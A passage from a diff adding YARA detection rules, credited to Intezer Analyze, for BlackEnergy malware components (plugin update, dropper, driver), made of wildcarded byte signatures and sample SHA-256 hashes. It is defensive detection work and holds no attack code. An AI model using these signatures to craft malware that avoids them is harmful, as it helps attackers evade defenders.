+		hash.sha256(0, filesize) == "ac4ffc7a2ba8840a20f6b07aa44328f1802b79ced6a56b3ac7e78fa1178ba65a" or
+		hash.sha256(0, filesize) == "4464c945c88ac9a4a22e86f0922f18c164e87f26c3f3fa054eb488fdd7d4bfc8" or
+		hash.sha256(0, filesize) == "bc7bcb663477238508ce8ad366cc9a77811c7f5eabaec47175858fe972639f40" or
+		hash.sha256(0, filesize) == "036c5c0075d67f67fee546321f5b9c4f00d37aa9249ffe1627e71946bad4a3d1" or
+		hash.sha256(0, filesize) == "a5373b33ac970dedeb52528b123959145bf51c95b159a30a7823ad8018ac4b41" or
+		hash.sha256(0, filesize) == "30c69d91247f8a72a69e4d7c4bce3eafba40975e5890c23dc4dbe7c9a11afa73" or
+		hash.sha256(0, filesize) == "f6d52c5608931cdf66d71502fcf012b6781edde64ba1f956c1868f7e36d8c8d2" or
+		hash.sha256(0, filesize) == "dc70d3046b59785b2b9b7091e26f2484ba7a488dba420a8a05be388a337c399e" or
+		hash.sha256(0, filesize) == "d469000ca9e6af92876334e3a460ea4ac8a61c1a6ee819eefbfd0c79ea4fb315" or
+		hash.sha256(0, filesize) == "1233cca912fb61873c7388f299a4a1b78054e681941beb31f0a48f8c6d7a182b" or
+		hash.sha256(0, filesize) == "12e1139ef422c2c0884fb5b1786a8489c1769a96880a30406e4a28b76ea4a73a" or
+		hash.sha256(0, filesize) == "f722677df4fb7eb4ac986a944d4f6630b91ac22b31f8d39ec9bf941376d5d4db" or
+		hash.sha256(0, filesize) == "1a7239c006a3adf893bdb5c2300b2964ed8bb454e1b622853e4460707dc63c16" or
+		hash.sha256(0, filesize) == "418a21d49fe5bca8a3e050f039a0e2aa03db6d2de0fb49e3ff9d987f31b22dda" or
+		hash.sha256(0, filesize) == "65fa52f632e4e83ff83120c7df6b90291025a76d5daeb183e814ec0b3bd2bd4e" or
+		hash.sha256(0, filesize) == "b9ea2cc39808780ade1fe51287072e958448be7e3a7b32bfd48438453592018c" or
+		hash.sha256(0, filesize) == "89996b66d5a339939b2072d29675ec3ca6d793f42a5d335a8ea7dab8773321ef" or
+		hash.sha256(0, filesize) == "6eeffe540693418a107db3e7d2d9b72a54b2354aa6886b571272aa41f8cc8e0c" or
+		hash.sha256(0, filesize) == "5f827730c7bd155997121f023ca9775077a37a58111738fcb3213757170bd860" or
+		hash.sha256(0, filesize) == "637cabc343e3ed5b447dccb13aa7caf4d3a3eb3cd617d360167f270ec34596ea" or
+		hash.sha256(0, filesize) == "70ae2363191e8b20d1773ecc73afc2b9a5dd8247c7b97eecfd1378f3e7aabf92" or
+		hash.sha256(0, filesize) == "b9c996b06e0db273a4edede3fd6fda2b40b2e0201eba3e8ac581d802fc610a4a" or
+		hash.sha256(0, filesize) == "18c0b02776487babbf6219cdaf97cbf2b534e0cf87a527228dda2d4a468a257f" or
+		hash.sha256(0, filesize) == "7ed2d1aceab5f54df4acca63b5d269842d49521e13bab5e652237667c7eef261" or
+		hash.sha256(0, filesize) == "86056f462d5783604b7f050047db210ecf698e72f3664b27d58265663ff5b324" or
+		12 of them
+}
+
+rule BlackEnergyPluginMalwareUpdate {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 89 ?? ?? 3B ?? ?? 0F 83 }
+		$block_1 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_2 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_6 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_7 = { FF 7? ?? 8B ?? ?? FF 3? 33 ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_8 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_9 = { 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_10 = { 5? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e1fc973641508fa98ad4c338122484f6c3aee64488b0c91f7eccf6453927fdf8" or
+		11 of them
+}
+
+rule BlackEnergyDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8D ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_1 = { E8 ?? ?? ?? ?? 8A ?? ?? 5? D5 ?? F1 8D ?? ?? 5? F7 ?? B9 ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? E9 }
+		$block_2 = { 83 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? 8B ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_3 = { 4? 9? CD ?? 25 ?? ?? ?? ?? 0D ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4? FC 04 ?? 72 }
+		$block_4 = { 4? 3C ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? F8 89 ?? B8 ?? ?? ?? ?? F3 ?? 8D ?? ?? F7 ?? E9 }
+		$block_5 = { 89 ?? 8B ?? ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? 2B ?? 8D ?? ?? ?? 2B ?? 66 ?? ?? ?? 0F 82 }
+		$block_6 = { 6E F7 ?? 03 ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? BF ?? ?? ?? ?? 8D ?? E9 }
+		$block_7 = { 5? 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 6A ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_8 = { 28 ?? ?? ?? C9 89 ?? F7 ?? 0A ?? 8D ?? ?? BA ?? ?? ?? ?? 33 ?? 8A ?? F7 ?? E9 }
+		$block_9 = { 8E ?? 16 B3 ?? 65 ?? 80 3? ?? ?? ?? ?? ?? 5? F7 ?? BA ?? ?? ?? ?? 5? 89 ?? E9 }
+		$block_10 = { 37 81 4? ?? ?? ?? ?? ?? F6 ?? 2A ?? ?? B2 ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_11 = { 0B ?? BB ?? ?? ?? ?? F7 ?? 5? 5? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 03 ?? 0F 85 }
+		$block_12 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? 8B ?? 2B ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_13 = { 8B ?? ?? 68 ?? ?? ?? ?? 6A ?? 03 ?? E8 ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 01 ?? EF AA 3C ?? AD 26 ?? ?? ?? ?? ?? F7 ?? 8B ?? 03 ?? D1 ?? 83 ?? ?? E9 }
+		$block_15 = { 8B ?? ?? F7 ?? 8D ?? ?? F7 ?? 8B ?? 2B ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 86 }
+		$block_16 = { D7 C8 ?? ?? ?? AD 8D ?? ?? 8B ?? ?? ?? 8B ?? 2B ?? D3 ?? 2B ?? 03 ?? 0F 84 }
+		$block_17 = { 89 ?? BA ?? ?? ?? ?? 5? BA ?? ?? ?? ?? 0F B6 ?? 89 ?? BA ?? ?? ?? ?? E9 }
+		$block_18 = { 0F C9 89 ?? F7 ?? 0A ?? 8D ?? ?? BA ?? ?? ?? ?? 33 ?? 8A ?? F7 ?? E9 }
+		$block_19 = { 32 ?? ?? 4? 8E ?? ?? 1C ?? 9? BF ?? ?? ?? ?? D6 89 ?? 8B ?? ?? ?? E9 }
+		$block_20 = { 60 30 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? F7 ?? E9 }
+		$block_21 = { 86 ?? 3F 9A ?? ?? ?? ?? ?? ?? 5? 18 ?? D6 8B ?? ?? ?? 89 ?? ?? E9 }
+		$block_22 = { 5? CD ?? FF 5? ?? 01 ?? 4? 05 ?? ?? ?? ?? D0 ?? ?? ?? ?? ?? EF 75 }
+		$block_23 = { 9A ?? ?? ?? ?? ?? ?? 0A ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { BF ?? ?? ?? ?? 89 ?? 5? 5? 5? FF D? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 5? 5? 03 ?? 33 ?? F7 ?? 4? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_26 = { 1A ?? B0 ?? AF AB 9? 4? 4? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_27 = { 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? 8D ?? 2B ?? 0F B7 ?? ?? 2B ?? E9 }
+		$block_28 = { 0F AC ?? ?? 2E ?? ?? E5 ?? D6 05 ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_29 = { F9 AC BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? F7 ?? F7 ?? E9 }
+		$block_30 = { BB ?? ?? ?? ?? D7 2A ?? 5? A5 5? FF D? 5? 5? 85 ?? 0F 85 }
+		$block_31 = { 89 ?? 8B ?? ?? 89 ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? E9 }
+		$block_32 = { 33 ?? ?? 4? 4? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 89 ?? 5? 5? 5? FF D? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "e052ea4fbc3aeed1e46df6966bb60c29c6e706ba8fd737fd9ab414fc29189345" or
+		hash.sha256(0, filesize) == "23f9272cb2f08dfe5c847ba7764d003310d26585b22ebd1d8d77935907474235" or
+		hash.sha256(0, filesize) == "07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad" or
+		hash.sha256(0, filesize) == "6d4d0715b274bd8331e67b064416e0806d1c0941930ba9ee6e4bac0eb360f7e6" or
+		12 of them
+}
+
+rule BlackEnergyDriver {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F BF ?? ?? BA ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E9 }
+		$block_1 = { E8 ?? ?? ?? ?? 48 ?? ?? FF D? BA ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 89 ?? ?? 8D ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 03 ?? ?? 8D ?? 8D ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_4 = { E8 ?? ?? ?? ?? 4? E4 ?? D1 ?? 65 ?? ?? 00 ?? ?? EE 9? 1F D8 ?? ?? 0E 27 13 ?? ?? 9? 07 1E 7F }
+		$block_5 = { 4? 06 60 6A ?? 4? 8B ?? ?? 81 E? ?? ?? ?? ?? FF 0? 8B ?? ?? ?? ?? ?? 8D ?? ?? F7 ?? F7 ?? E9 }
+		$block_6 = { 4? 14 ?? 39 ?? A2 ?? ?? ?? ?? 0D ?? ?? ?? ?? 5? 0C ?? 06 8B ?? ?? 8B ?? 5? 5? 5? 89 ?? ?? E9 }
+		$block_7 = { 89 ?? 89 ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_8 = { 8B ?? ?? F7 ?? 8B ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 84 }
+		$block_9 = { 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 5? F7 ?? F7 ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 5? E9 }
+		$block_10 = { BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_11 = { BA ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F7 ?? 0F B6 ?? ?? 89 ?? B9 ?? ?? ?? ?? 89 ?? E9 }
+		$block_13 = { 1E DF ?? ?? ?? ?? ?? 5? 36 ?? ?? D2 ?? D2 ?? 27 BF ?? ?? ?? ?? 1D ?? ?? ?? ?? 9? 04 ?? 73 }
+		$block_14 = { 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? 8D ?? ?? 0F B7 ?? ?? B8 ?? ?? ?? ?? 8D ?? BA ?? ?? ?? ?? E9 }
+		$block_15 = { F7 ?? BA ?? ?? ?? ?? 89 ?? B8 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? F7 ?? B9 ?? ?? ?? ?? E9 }
+		$block_16 = { 4? D7 3E ?? ?? ?? ?? ?? B1 ?? B8 ?? ?? ?? ?? 8B ?? 89 ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_17 = { B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? 33 ?? BF ?? ?? ?? ?? F7 ?? 89 ?? 8B ?? 3B ?? 0F 82 }
+		$block_18 = { F7 ?? 03 ?? ?? F7 ?? F7 ?? 89 ?? ?? 89 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_19 = { BA ?? ?? ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 33 ?? FF D? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 44 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? 45 ?? ?? 66 ?? ?? ?? ?? 73 }
+		$block_21 = { 8D ?? 8B ?? ?? 0F B7 ?? ?? ?? 89 ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 85 }
+		$block_22 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? 89 ?? 8B ?? ?? 3B ?? 0F 85 }
+		$block_23 = { F3 ?? ?? ?? 9E E7 ?? 10 ?? D1 ?? ?? ?? ?? ?? 4? FC 8D ?? 89 ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_24 = { B7 ?? 4? 39 ?? EC F7 ?? 89 ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_25 = { C5 ?? AC AF 9F 5? 8A ?? FF B? ?? ?? ?? ?? 0E F9 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E9 }
+		$block_26 = { 03 ?? ?? F7 ?? B9 ?? ?? ?? ?? 8B ?? ?? 89 ?? 89 ?? 8D ?? ?? 8B ?? ?? 39 ?? ?? 0F 82 }
+		$block_27 = { 9D 1F BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E9 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? B9 ?? ?? ?? ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 85 }
+		$block_29 = { 6E EA ?? ?? ?? ?? ?? ?? 0C ?? 8B ?? ?? 89 ?? B8 ?? ?? ?? ?? 03 ?? ?? F7 ?? 8D ?? E9 }
+		$block_30 = { 4? 8C ?? 89 ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? F7 ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 82 }
+		$block_31 = { DA ?? ?? 5? 0C ?? 07 03 ?? ?? 89 ?? 0F B6 ?? 89 ?? 33 ?? 8D ?? ?? 8D ?? ?? ?? E9 }
+		$block_32 = { 8B ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 03 ?? ?? F7 ?? 8D ?? ?? 0F B6 ?? E9 }
+		$block_33 = { 6E AC 8D ?? ?? ?? ?? ?? C1 ?? ?? 8D ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? C1 ?? ?? E9 }
+		$block_34 = { F7 ?? 8B ?? ?? B9 ?? ?? ?? ?? 8D ?? F7 ?? 8B ?? ?? 0F B7 ?? ?? B8 ?? ?? ?? ?? E9 }
+		$block_35 = { 69 ?? ?? ?? ?? ?? ?? 86 ?? ?? ?? ?? ?? 67 ?? 5? 8B ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_36 = { 8B ?? ?? B8 ?? ?? ?? ?? F7 ?? 8B ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? 0F BF ?? ?? E9 }
+		$block_37 = { 85 ?? ?? 83 ?? ?? ?? AE 5? 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 3B ?? 0F 82 }
+		$block_38 = { 8B ?? ?? 0F B7 ?? ?? F7 ?? 25 ?? ?? ?? ?? F7 ?? 8D ?? 8D ?? 8B ?? ?? 03 ?? E9 }
+		$block_39 = { 9? 1A ?? 26 ?? 66 ?? ?? ?? 5? D3 ?? 06 10 ?? ?? ?? ?? ?? 19 ?? ?? 1A ?? ?? 78 }
+		$block_40 = { AF 88 ?? ?? ?? ?? ?? 65 ?? 0C ?? FF 5? ?? 5? E4 ?? FF 8? ?? ?? ?? ?? B6 ?? E9 }
+		$block_41 = { 8B ?? ?? 8D ?? 03 ?? ?? 89 ?? 0F B6 ?? 89 ?? 33 ?? 8D ?? ?? 8D ?? ?? ?? E9 }
+		$block_42 = { C4 ?? ?? ?? 20 ?? 5? 9B 6D 14 ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_43 = { CC 15 ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 65 ?? 5? B6 ?? D3 ?? ?? ?? ?? ?? 9D E9 }
+		$block_44 = { 27 99 6B ?? ?? ?? 8A ?? AA F1 89 ?? 8B ?? ?? F7 ?? 89 ?? F7 ?? 5? 8D ?? E9 }
+		$block_45 = { F1 18 ?? 1A ?? ?? A8 ?? 5? B5 ?? 23 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? E9 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? E9 }
+		$block_47 = { 80 1? ?? 8C ?? ?? ?? ?? ?? 0C ?? 89 ?? 89 ?? 88 ?? ?? 89 ?? 0F B6 ?? ?? E9 }
+		$block_48 = { 8B ?? ?? 89 ?? BA ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? 0F 84 }
+		$block_49 = { D0 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? 89 ?? 8D ?? ?? 8B ?? ?? 39 ?? ?? 0F 82 }
+		$block_50 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_51 = { EF F7 ?? 5? B9 ?? ?? ?? ?? F7 ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? E9 }
+		$block_52 = { 8B ?? ?? F7 ?? 8D ?? ?? 8D ?? ?? 03 ?? ?? 8D ?? ?? ?? ?? ?? 0F B6 ?? E9 }
+		$block_53 = { F7 ?? B8 ?? ?? ?? ?? 89 ?? 8B ?? ?? F7 ?? F7 ?? 8B ?? 03 ?? 85 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? BE ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 88 ?? ?? F7 ?? 0F B6 ?? ?? 89 ?? E9 }
+		$block_56 = { 8B ?? ?? F7 ?? B9 ?? ?? ?? ?? 8B ?? ?? 8D ?? 0F B7 ?? ?? F7 ?? 89 ?? E9 }
+		$block_57 = { 8D ?? ?? 33 ?? 44 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_58 = { 0F BE ?? ?? 8D ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? 0F BE ?? ?? E9 }
+		$block_59 = { F7 ?? 89 ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_60 = { 8B ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_61 = { 5? B4 ?? E5 ?? 38 ?? ?? ?? ?? ?? 07 2E ?? ?? F8 B4 ?? 3A ?? 5? EB }
+		$block_62 = { 8D ?? ?? 8B ?? ?? 2B ?? 8B ?? ?? B9 ?? ?? ?? ?? F7 ?? 85 ?? 0F 84 }
+		$block_63 = { D5 ?? 35 ?? ?? ?? ?? 5? 5? 4? 4? AE 10 ?? ?? ?? ?? ?? 89 ?? ?? E9 }
+		$block_64 = { E8 ?? ?? ?? ?? 61 DF ?? 4? 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? E9 }
+		$block_65 = { BA ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_66 = { 89 ?? 89 ?? 8B ?? ?? 89 ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 0F 85 }
+		$block_67 = { 2C ?? 28 ?? ?? ?? ?? ?? 4? F7 ?? F7 ?? 8B ?? ?? 3B ?? ?? 0F 8D }
+		$block_68 = { 27 2A ?? ?? ?? ?? ?? EC 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_69 = { D1 ?? ?? ?? ?? ?? EC 0C ?? 04 ?? 00 ?? 00 ?? 61 D7 0A ?? 4? 76 }
+		$block_70 = { D1 ?? 89 ?? 88 ?? ?? F7 ?? BA ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? E9 }
+		$block_71 = { BF ?? ?? ?? ?? F7 ?? 89 ?? 8D ?? ?? ?? F7 ?? 8B ?? 3B ?? 0F 82 }
+		$block_72 = { 06 1A ?? ?? ?? ?? ?? 1B ?? ?? ?? ?? ?? F7 ?? 89 ?? 8B ?? ?? E9 }
+		$block_73 = { 8B ?? ?? F7 ?? 89 ?? 03 ?? ?? 0F B6 ?? F7 ?? 89 ?? 89 ?? E9 }
+		$block_74 = { 8B ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_75 = { 1E 4? 9B 36 ?? 8B ?? ?? ?? B7 ?? 5? C1 ?? ?? 83 ?? ?? 0F 84 }
+		$block_76 = { B8 ?? ?? ?? ?? 8B ?? 89 ?? F7 ?? 8B ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_77 = { 16 85 ?? ?? B6 ?? 4? 5? F4 62 ?? ?? 89 ?? 83 ?? ?? F7 ?? E9 }
+		$block_78 = { F7 ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_79 = { 85 ?? ?? ?? ?? ?? A6 89 ?? ?? 89 ?? 89 ?? ?? 89 ?? 89 ?? E9 }
+		$block_80 = { 15 ?? ?? ?? ?? 5? F4 F7 ?? 8D ?? 0F B6 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 89 ?? 88 ?? ?? F7 ?? BA ?? ?? ?? ?? 0F B6 ?? ?? 8D ?? E9 }
+		$block_82 = { 4? B7 ?? 64 ?? ?? AD B3 ?? 8A ?? ?? ?? ?? ?? 5? F7 ?? E9 }
+		$block_83 = { 2B ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_84 = { 8D ?? ?? ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 88 ?? ?? E9 }
+		$block_85 = { F7 ?? 8D ?? ?? 8B ?? ?? F7 ?? 89 ?? 0F BE ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 8D ?? 8D ?? ?? 89 ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 0F BE ?? ?? F7 ?? 89 ?? 89 ?? 0F BE ?? ?? 3B ?? 0F 85 }
+		$block_88 = { F7 ?? ?? 3B ?? 4? 89 ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 8C }
+		$block_89 = { F4 1B ?? F7 ?? EE E8 ?? ?? ?? ?? 4? 06 39 ?? ?? 0F 82 }
+		$block_90 = { 8B ?? ?? F7 ?? F7 ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 5? ED 0C ?? 9C 4? AF 9? 82 E? ?? 35 ?? ?? ?? ?? 73 }
+		$block_92 = { 0F BE ?? ?? 89 ?? 8D ?? ?? 0F BE ?? ?? 3B ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 0F BE ?? ?? 03 ?? 33 ?? BE ?? ?? ?? ?? E9 }
+		$block_94 = { 8B ?? ?? 89 ?? B8 ?? ?? ?? ?? 8B ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_97 = { BA ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 0F 85 }
+		$block_98 = { 5? A4 8B ?? ?? B8 ?? ?? ?? ?? F7 ?? 89 ?? ?? E9 }
+		$block_99 = { 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68" or
+		hash.sha256(0, filesize) == "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281" or
+		hash.sha256(0, filesize) == "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614" or
+		hash.sha256(0, filesize) == "4d31a81515ea04765b488dadc49acac4a2b81ca16eee1993ccd97b51a75510d5" or
+		hash.sha256(0, filesize) == "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5" or
+		hash.sha256(0, filesize) == "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094" or
+		hash.sha256(0, filesize) == "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc" or
+		hash.sha256(0, filesize) == "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988" or
+		hash.sha256(0, filesize) == "cfb20e7516b42486d11c59021a8be8a457ee1fa0d0be6d5d958e80b3cfeb04ae" or
+		hash.sha256(0, filesize) == "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2" or
+		hash.sha256(0, filesize) == "2aade7381aa87f55b7d7a5284d22be5472fd8cd966d216fd4445ca3a8bbb3ff3" or
+		hash.sha256(0, filesize) == "166ba02539d3ea8cd1298d916fad1264a815f55798df5477698b7d775542b696" or
+		hash.sha256(0, filesize) == "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5" or
+		hash.sha256(0, filesize) == "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1" or
+		hash.sha256(0, filesize) == "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c" or
